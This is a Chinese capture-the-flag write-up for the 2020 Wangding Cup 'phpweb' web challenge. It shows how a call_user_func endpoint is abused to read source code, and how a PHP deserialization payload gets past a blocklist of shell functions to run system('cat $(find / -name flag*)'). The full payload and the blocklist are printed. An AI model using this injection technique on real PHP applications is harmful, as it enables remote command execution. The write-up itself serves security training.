网鼎杯 2020 朱雀组 web wp

0x01 phpweb

关键词:反序列化,代码注入

进入界面,开幕雷击

抓包发现变量func和p,猜测func是待执行的函数,p为func的参数

image-20210227162119517

更改func为readfile或file_get_contents,p改为index.php尝试获取index.php的源代码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

源码发现Test类中调用gettime函数,gettime函数中存在函数执行,并且disabled_function中并无unserialize,因而可以通过反序列化进行执行

反序列化代码段:

<?php
    class Test {
        var $p = "cat $(find / -name flag*)";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
            echo gettime($this->func, $this->p);
            }
        }
    }
    $a = new Test();
    echo urlencode(serialize($a));
?>

最终payload:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

成功获取flag

image-20210227163130046